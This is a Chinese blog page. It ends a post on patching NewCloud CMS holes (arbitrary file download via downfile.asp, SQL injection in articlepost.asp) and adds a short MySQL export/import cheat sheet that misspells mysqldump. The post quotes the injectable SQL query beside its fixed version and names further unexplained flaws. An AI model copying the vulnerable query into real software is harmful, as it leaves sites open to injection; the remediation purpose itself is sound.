一.对于flash/downfile.asp过滤不严导致可下载任意文件可直接去官方下载相应补丁文件,我检测的时候遇见一个目标网站,成功登陆管理页面,结果却发现后台没有备份数据库和恢复数据库的链接,有时候也不失是个一方法,还有就是conn.asp修补就修改conn.asp或者加入一句容错语句:On Error Resume Next
二.对于articlepost.asp文件注入漏洞的修补:
1.及时更新补丁,升级整站程序
2.我们可以用cint函数处理,修补后的方法如下:把articlepost文件中的SQL = "select ArticleID,title,content,ColorMode,FontMode,Author,ComeFrom,WriteTime,username from NC_Article where ChannelID=" & ChannelID & " And username='" & Newasp.MemberName & "' And ArticleID=" & Request("ArticleID")修改为Dim ArticleID ArticleID = Newasp.ChkNumeric(Request.Form("ArticleID")) SQL = "select ArticleID,title,content,ColorMode,FontMode,Author,ComeFrom,WriteTime,username from NC_Article where ChannelID=" & ChannelID & " And username='" & Newasp.MemberName & "' And ArticleID=" & ArticleID既可全文到这里就结束了,其实新云还有2个漏洞我没做详细说明,还有一个是SQL版新云管理系统可以饶过单引号注入漏洞,还有可以修改任意用户资料漏洞,限于篇幅就写到这里吧.

收藏与分享
16 2007

mysql 的数据导出和导入

Posted by Yangybcy in 电脑网络

mysqldeump -u *** -P –default-character-set=***(数据库默认编码)  > **.sql

导入:
mysql -u *** -p databasename < **.sql

在mysql中创建数据库
mysql -u ** -p -E "create database name"

显示数据库
show databases ;

收藏与分享
Pages: 上一页 1 2 3 ...5 6 7 8 9 10 11 下一页